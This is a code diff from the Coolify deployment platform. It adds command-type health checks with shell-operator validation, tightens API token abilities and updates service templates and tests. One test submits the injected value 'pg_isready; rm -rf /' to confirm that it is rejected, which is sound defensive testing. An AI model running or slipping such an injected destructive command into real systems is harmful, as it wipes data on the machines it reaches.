Schema::table('applications', function (Blueprint $table) {
$table->dropColumn('health_check_command');
});
}
}
};

View file

@ -21,7 +21,7 @@ class ApplicationSeeder extends Seeder
'git_repository' => 'coollabsio/coolify-examples',
'git_branch' => 'v4.x',
'base_directory' => '/docker-compose',
'docker_compose_location' => 'docker-compose-test.yaml',
'docker_compose_location' => '/docker-compose-test.yaml',
'build_pack' => 'dockercompose',
'ports_exposes' => '80',
'environment_id' => 1,

View file

@ -26,12 +26,14 @@ class CaSslCertSeeder extends Seeder
}
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
$base64Cert = base64_encode($caCert->ssl_certificate);
$commands = collect([
"mkdir -p $caCertPath",
"chown -R 9999:root $caCertPath",
"chmod -R 700 $caCertPath",
"rm -rf $caCertPath/coolify-ca.crt",
"echo '{$caCert->ssl_certificate}' > $caCertPath/coolify-ca.crt",
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
"chmod 644 $caCertPath/coolify-ca.crt",
]);

View file

@ -0,0 +1,210 @@
services:
coolify:
image: coolify:dev
pull_policy: never
build:
context: .
dockerfile: ./docker/development/Dockerfile
args:
- USER_ID=${USERID:-1000}
- GROUP_ID=${GROUPID:-1000}
ports:
- "${APP_PORT:-8000}:8080"
environment:
AUTORUN_ENABLED: false
PUSHER_HOST: "${PUSHER_HOST}"
PUSHER_PORT: "${PUSHER_PORT}"
PUSHER_SCHEME: "${PUSHER_SCHEME:-http}"
PUSHER_APP_ID: "${PUSHER_APP_ID:-coolify}"
PUSHER_APP_KEY: "${PUSHER_APP_KEY:-coolify}"
PUSHER_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}"
healthcheck:
test: curl -sf http://127.0.0.1:8080/api/health || exit 1
interval: 5s
retries: 10
timeout: 2s
volumes:
- .:/var/www/html/:cached
- dev_backups_data:/var/www/html/storage/app/backups
networks:
- coolify
postgres:
pull_policy: always
ports:
- "${FORWARD_DB_PORT:-5432}:5432"
env_file:
- .env
environment:
POSTGRES_USER: "${DB_USERNAME:-coolify}"
POSTGRES_PASSWORD: "${DB_PASSWORD:-password}"
POSTGRES_DB: "${DB_DATABASE:-coolify}"
POSTGRES_HOST_AUTH_METHOD: "trust"
healthcheck:
test: [ "CMD-SHELL", "pg_isready -U $$POSTGRES_USER -d $$POSTGRES_DB" ]
interval: 5s
retries: 10
timeout: 2s
volumes:
- dev_postgres_data:/var/lib/postgresql/data
redis:
pull_policy: always
ports:
- "${FORWARD_REDIS_PORT:-6379}:6379"
env_file:
- .env
healthcheck:
test: redis-cli ping
interval: 5s
retries: 10
timeout: 2s
volumes:
- dev_redis_data:/data
soketi:
image: coolify-realtime:dev
pull_policy: never
build:
context: .
dockerfile: ./docker/coolify-realtime/Dockerfile
env_file:
- .env
ports:
- "${FORWARD_SOKETI_PORT:-6001}:6001"
- "6002:6002"
volumes:
- ./storage:/var/www/html/storage
- ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js
environment:
SOKETI_DEBUG: "false"
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s
retries: 10
timeout: 2s
entrypoint: ["/bin/sh", "/soketi-entrypoint.sh"]
vite:
image: node:24-alpine
pull_policy: always
container_name: coolify-vite
working_dir: /var/www/html
environment:
VITE_HOST: "${VITE_HOST:-localhost}"
VITE_PORT: "${VITE_PORT:-5173}"
ports:
- "${VITE_PORT:-5173}:${VITE_PORT:-5173}"
volumes:
- .:/var/www/html/:cached
command: sh -c "npm install && npm run dev"
networks:
- coolify
testing-host:
image: coolify-testing-host:dev
pull_policy: never
build:
context: .
dockerfile: ./docker/testing-host/Dockerfile
init: true
container_name: coolify-testing-host
volumes:
- /var/run/docker.sock:/var/run/docker.sock
- dev_coolify_data:/data/coolify
- dev_backups_data:/data/coolify/backups
- dev_postgres_data:/data/coolify/_volumes/database
- dev_redis_data:/data/coolify/_volumes/redis
- dev_minio_data:/data/coolify/_volumes/minio
networks:
- coolify
mailpit:
image: axllent/mailpit:latest
pull_policy: always
container_name: coolify-mail
ports:
- "${FORWARD_MAILPIT_PORT:-1025}:1025"
- "${FORWARD_MAILPIT_DASHBOARD_PORT:-8025}:8025"
networks:
- coolify
# maxio:
# image: ghcr.io/coollabsio/maxio
# pull_policy: always
# container_name: coolify-maxio
# ports:
# - "${FORWARD_MAXIO_PORT:-9000}:9000"
# environment:
# MAXIO_ACCESS_KEY: "${MAXIO_ACCESS_KEY:-maxioadmin}"
# MAXIO_SECRET_KEY: "${MAXIO_SECRET_KEY:-maxioadmin}"
# volumes:
# - dev_maxio_data:/data
# networks:
# - coolify
minio:
image: ghcr.io/coollabsio/minio:RELEASE.2025-10-15T17-29-55Z # Released on 15 October 2025
pull_policy: always
container_name: coolify-minio
command: server /data --console-address ":9001"
ports:
- "${FORWARD_MINIO_PORT:-9000}:9000"
- "${FORWARD_MINIO_PORT_CONSOLE:-9001}:9001"
environment:
MINIO_ACCESS_KEY: "${MINIO_ACCESS_KEY:-minioadmin}"
MINIO_SECRET_KEY: "${MINIO_SECRET_KEY:-minioadmin}"
volumes:
- dev_minio_data:/data
- dev_maxio_data:/data
networks:
- coolify
# maxio-init:
# image: minio/mc:latest
# pull_policy: always
# container_name: coolify-maxio-init
# restart: no
# depends_on:
# - maxio
# entrypoint: >
# /bin/sh -c "
# echo 'Waiting for MaxIO to be ready...';
# until mc alias set local http://coolify-maxio:9000 maxioadmin maxioadmin 2>/dev/null; do
# echo 'MaxIO not ready yet, waiting...';
# sleep 2;
# done;
# echo 'MaxIO is ready, creating bucket if needed...';
# mc mb local/local --ignore-existing;
# echo 'MaxIO initialization complete - bucket local is ready';
# "
# networks:
# - coolify
minio-init:
image: minio/mc:latest
pull_policy: always
container_name: coolify-minio-init
restart: no
depends_on:
- minio
entrypoint: >
/bin/sh -c "
echo 'Waiting for MinIO to be ready...';
until mc alias set local http://coolify-minio:9000 minioadmin minioadmin 2>/dev/null; do
echo 'MinIO not ready yet, waiting...';
sleep 2;
done;
echo 'MinIO is ready, creating bucket if needed...';
mc mb local/local --ignore-existing;
echo 'MinIO initialization complete - bucket local is ready';
"
networks:
- coolify
volumes:
dev_backups_data:
dev_postgres_data:
dev_redis_data:
dev_coolify_data:
dev_minio_data:
dev_maxio_data:
networks:
coolify:
name: coolify
external: false

View file

@ -78,6 +78,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -72,6 +72,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -113,6 +113,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -11024,6 +11024,19 @@
"type": "integer",
"description": "Health check start period in seconds."
},
"health_check_type": {
"type": "string",
"description": "Health check type: http or cmd.",
"enum": [
"http",
"cmd"
]
},
"health_check_command": {
"type": "string",
"nullable": true,
"description": "Health check command for CMD type."
},
"limits_memory": {
"type": "string",
"description": "Memory limit."

View file

@ -6960,6 +6960,16 @@ components:
health_check_start_period:
type: integer
description: 'Health check start period in seconds.'
health_check_type:
type: string
description: 'Health check type: http or cmd.'
enum:
- http
- cmd
health_check_command:
type: string
nullable: true
description: 'Health check command for CMD type.'
limits_memory:
type: string
description: 'Memory limit.'

View file

@ -72,6 +72,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -113,6 +113,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -25,7 +25,7 @@
<path d="M21 12c-2.4 4 -5.4 6 -9 6c-3.6 0 -6.6 -2 -9 -6c2.4 -4 5.4 -6 9 -6c3.6 0 6.6 2 9 6" />
</svg>
{{-- Eye-off icon (shown when password is visible) --}}
<svg x-show="type === 'text'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
<svg x-cloak x-show="type === 'text'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
<path stroke="none" d="M0 0h24v24H0z" fill="none" />
<path d="M10.585 10.587a2 2 0 0 0 2.829 2.828" />

View file

@ -3,15 +3,11 @@
<div>
<p class="font-mono font-semibold text-7xl dark:text-warning">419</p>
<h1 class="mt-4 font-bold tracking-tight dark:text-white">This page is definitely old, not like you!</h1>
<p class="text-base leading-7 dark:text-neutral-300 text-black">Sorry, we couldn't find the page you're looking
for.
<p class="text-base leading-7 dark:text-neutral-300 text-black">Your session has expired. Please log in again to continue.
</p>
<div class="flex items-center mt-10 gap-x-2">
<a href="{{ url()->previous() }}">
<x-forms.button>Go back</x-forms.button>
</a>
<a href="{{ route('dashboard') }}" {{ wireNavigate() }}>
<x-forms.button>Dashboard</x-forms.button>
<a href="/login">
<x-forms.button>Back to Login</x-forms.button>
</a>
<a target="_blank" class="text-xs" href="{{ config('constants.urls.contact') }}">Contact
support

View file

@ -1,7 +1,7 @@
<nav wire:poll.10000ms="checkStatus" class="pb-6">
<x-resources.breadcrumbs :resource="$application" :parameters="$parameters" :title="$lastDeploymentInfo" :lastDeploymentLink="$lastDeploymentLink" />
<div class="navbar-main">
<nav class="flex shrink-0 gap-4 items-center whitespace-nowrap scrollbar min-h-10">
<nav class="flex shrink-0 gap-6 items-center whitespace-nowrap scrollbar min-h-10">
<a class="{{ request()->routeIs('project.application.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
href="{{ route('project.application.configuration', $parameters) }}">
Configuration

View file

@ -9,7 +9,7 @@
<h1>{{ $title }}</h1>
<x-resources.breadcrumbs :resource="$service" :parameters="$parameters" />
<div class="navbar-main" x-data">
<nav class="flex shrink-0 gap-4 items-center whitespace-nowrap scrollbar min-h-10">
<nav class="flex shrink-0 gap-6 items-center whitespace-nowrap scrollbar min-h-10">
<a class="{{ request()->routeIs('project.service.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
href="{{ route('project.service.configuration', $parameters) }}">
<button>Configuration</button>

View file

@ -20,25 +20,51 @@
<p>A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.</p>
</x-callout>
@endif
{{-- Healthcheck Type Selector --}}
<div class="flex gap-2">
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
<option value="GET">GET</option>
<option value="POST">POST</option>
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckType" label="Type" required wire:model.live="healthCheckType">
<option value="http">HTTP</option>
<option value="cmd">CMD</option>
</x-forms.select>
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckScheme" label="Scheme" required>
<option value="http">http</option>
<option value="https">https</option>
</x-forms.select>
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckHost" placeholder="localhost" label="Host" required />
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckPort"
helper="If no port is defined, the first exposed port will be used." placeholder="80" label="Port" />
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckPath" placeholder="/health" label="Path" required />
</div>
<div class="flex gap-2">
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckReturnCode" placeholder="200" label="Return Code"
required />
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
</div>
@if ($healthCheckType === 'http')
{{-- HTTP Healthcheck Fields --}}
<div class="flex gap-2">
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
<option value="GET">GET</option>
<option value="POST">POST</option>
</x-forms.select>
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckScheme" label="Scheme" required>
<option value="http">http</option>
<option value="https">https</option>
</x-forms.select>
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckHost" placeholder="localhost" label="Host" required />
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckPort"
helper="If no port is defined, the first exposed port will be used." placeholder="80" label="Port" />
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckPath" placeholder="/health" label="Path" required />
</div>
<div class="flex gap-2">
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckReturnCode" placeholder="200" label="Return Code"
required />
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
</div>
@else
{{-- CMD Healthcheck Fields --}}
<x-callout type="warning" title="Caution">
<p>This command runs inside the container on every health check interval. Shell operators (;, |, &amp;, $, &gt;, &lt;) are not allowed.</p>
</x-callout>
<div class="flex flex-col gap-2">
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckCommand"
label="Command"
placeholder="pg_isready -U postgres"
helper="A simple command to run inside the container. Must exit with code 0 on success. Shell operators like ;, |, &&, $() are not allowed."
:required="$healthCheckType === 'cmd'" />
</div>
@endif
{{-- Common timing fields (used by both types) --}}
<div class="flex gap-2">
<x-forms.input canGate="update" :canResource="$resource" min="1" type="number" id="healthCheckInterval" placeholder="30"
label="Interval (s)" required />
@ -49,4 +75,4 @@
label="Start Period (s)" required />
</div>
</div>
</form>
</form>

View file

@ -27,6 +27,22 @@
<div class="mt-1 mb-6">Configure Docker cleanup settings for your server.</div>
</div>
@if ($this->isCleanupStale)
<div class="mb-4">
<x-callout type="warning" title="Docker Cleanup May Be Stalled">
<p>The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago,
which is longer than expected for the configured frequency.</p>
@if (!$this->isSchedulerHealthy)
<p class="mt-1">The scheduled job manager appears to be inactive. This may indicate
a stale Redis lock is blocking all scheduled jobs.</p>
@endif
<p class="mt-2">To resolve, run on your Coolify instance:
<code class="bg-black/10 dark:bg-white/10 px-1 rounded">php artisan cleanup:redis --clear-locks</code>
</p>
</x-callout>
</div>
@endif
<div class="flex flex-col gap-2">
<div class="flex gap-4">
<h3>Cleanup Configuration</h3>

View file

@ -55,7 +55,7 @@ Route::group([
Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']);
Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']);
Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:read']);
Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']);
Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']);
Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']);
@ -86,7 +86,7 @@ Route::group([
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']);
Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:read']);
Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']);
Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']);
Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']);
@ -121,9 +121,9 @@ Route::group([
Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']);
Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']);
Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']);
Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']);
@ -152,9 +152,9 @@ Route::group([
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
Route::get('/services', [ServicesController::class, 'services'])->middleware(['api.ability:read']);
Route::post('/services', [ServicesController::class, 'create_service'])->middleware(['api.ability:write']);
@ -169,9 +169,9 @@ Route::group([
Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']);
Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']);

View file

@ -141,6 +141,15 @@ else
log "Network 'coolify' already exists"
fi
# Fix SSH directory ownership if not owned by container user UID 9999 (fixes #6621)
# Only changes owner — preserves existing group to respect custom setups
SSH_OWNER=$(stat -c '%u' /data/coolify/ssh 2>/dev/null || echo "unknown")
if [ "$SSH_OWNER" != "9999" ]; then
log "Fixing SSH directory ownership (was owned by UID $SSH_OWNER)"
chown -R 9999 /data/coolify/ssh
chmod -R 700 /data/coolify/ssh
fi
# Check if Docker config file exists
DOCKER_CONFIG_MOUNT=""
if [ -f /root/.docker/config.json ]; then

View file

@ -6,13 +6,26 @@
services:
beszel-agent:
image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
environment:
# Required
- LISTEN=/beszel_socket/beszel.sock
- HUB_URL=${HUB_URL?}
- 'TOKEN=${TOKEN?}'
- 'KEY=${KEY?}'
- HUB_URL=$SERVICE_URL_BESZEL
- TOKEN=${TOKEN} # From hub token settings
- KEY=${KEY} # SSH public key(s) from hub
# Optional
- DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
- LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
- SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
- SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
volumes:
- beszel_agent_data:/var/lib/beszel-agent
- beszel_socket:/beszel_socket
- '/var/run/docker.sock:/var/run/docker.sock:ro'
healthcheck:
test: ['CMD', '/agent', 'health']
interval: 60s
timeout: 20s
retries: 10
start_period: 5s

View file

@ -9,21 +9,41 @@
# Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI)
services:
beszel:
image: 'henrygd/beszel:0.16.1' # Released on 14 Nov 2025
image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026
environment:
- SERVICE_URL_BESZEL_8090
- CONTAINER_DETAILS=${CONTAINER_DETAILS:-true}
- SHARE_ALL_SYSTEMS=${SHARE_ALL_SYSTEMS:-false}
volumes:
- 'beszel_data:/beszel_data'
- 'beszel_socket:/beszel_socket'
healthcheck:
test: ['CMD', '/beszel', 'health', '--url', 'http://localhost:8090']
interval: 30s
timeout: 20s
retries: 10
start_period: 5s
beszel-agent:
image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
environment:
# Required
- LISTEN=/beszel_socket/beszel.sock
- HUB_URL=http://beszel:8090
- 'TOKEN=${TOKEN}'
- 'KEY=${KEY}'
- HUB_URL=$SERVICE_URL_BESZEL
- TOKEN=${TOKEN} # From hub token settings
- KEY=${KEY} # SSH public key(s) from hub
# Optional
- DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
- LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
- SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
- SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
volumes:
- beszel_agent_data:/var/lib/beszel-agent
- beszel_socket:/beszel_socket
- '/var/run/docker.sock:/var/run/docker.sock:ro'
healthcheck:
test: ['CMD', '/agent', 'health']
interval: 60s
timeout: 20s
retries: 10
start_period: 5s

View file

@ -1,3 +1,4 @@
# ignore: true
# documentation: https://docs.plane.so/self-hosting/methods/docker-compose
# slogan: The open source project management tool
# category: productivity

View file

@ -1,3 +1,4 @@
# ignore: true
# documentation: https://pterodactyl.io/
# slogan: Pterodactyl is a free, open-source game server management panel
# category: media
@ -102,4 +103,4 @@ services:
- MAIL_PORT=$MAIL_PORT
- MAIL_USERNAME=$MAIL_USERNAME
- MAIL_PASSWORD=$MAIL_PASSWORD
- MAIL_ENCRYPTION=$MAIL_ENCRYPTION
- MAIL_ENCRYPTION=$MAIL_ENCRYPTION

View file

@ -1,3 +1,4 @@
# ignore: true
# documentation: https://pterodactyl.io/
# slogan: Pterodactyl is a free, open-source game server management panel
# category: media

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1,75 @@
<?php
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
});
describe('POST /api/v1/projects', function () {
test('read-only token cannot create a project', function () {
$token = $this->user->createToken('read-only', ['read']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(403);
});
test('write token can create a project', function () {
$token = $this->user->createToken('write-token', ['write']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(201);
$response->assertJsonStructure(['uuid']);
});
test('root token can create a project', function () {
$token = $this->user->createToken('root-token', ['root']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(201);
$response->assertJsonStructure(['uuid']);
});
});
describe('POST /api/v1/servers', function () {
test('read-only token cannot create a server', function () {
$token = $this->user->createToken('read-only', ['read']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/servers', [
'name' => 'Test Server',
'ip' => '1.2.3.4',
'private_key_uuid' => 'fake-uuid',
]);
$response->assertStatus(403);
});
});

View file

@ -0,0 +1,120 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
StandaloneDocker::withoutEvents(function () {
$this->destination = StandaloneDocker::firstOrCreate(
['server_id' => $this->server->id, 'network' => 'coolify'],
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
);
});
$this->project = Project::create([
'uuid' => (string) new Cuid2,
'name' => 'test-project',
'team_id' => $this->team->id,
]);
// Project boot event auto-creates a 'production' environment
$this->environment = $this->project->environments()->first();
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
});
function healthCheckAuthHeaders($bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
test('can update health_check_type to cmd with a command', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready -U postgres',
]);
$response->assertOk();
$this->application->refresh();
expect($this->application->health_check_type)->toBe('cmd');
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
});
test('can update health_check_type back to http', function () {
$this->application->update([
'health_check_type' => 'cmd',
'health_check_command' => 'redis-cli ping',
]);
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'http',
'health_check_command' => null,
]);
$response->assertOk();
$this->application->refresh();
expect($this->application->health_check_type)->toBe('http');
expect($this->application->health_check_command)->toBeNull();
});
test('rejects invalid health_check_type', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'exec',
]);
$response->assertStatus(422);
});
test('rejects health_check_command with shell operators', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready; rm -rf /',
]);
$response->assertStatus(422);
});
test('rejects health_check_command over 1000 characters', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => str_repeat('a', 1001),
]);
$response->assertStatus(422);
});
});

View file

@ -0,0 +1,93 @@
<?php
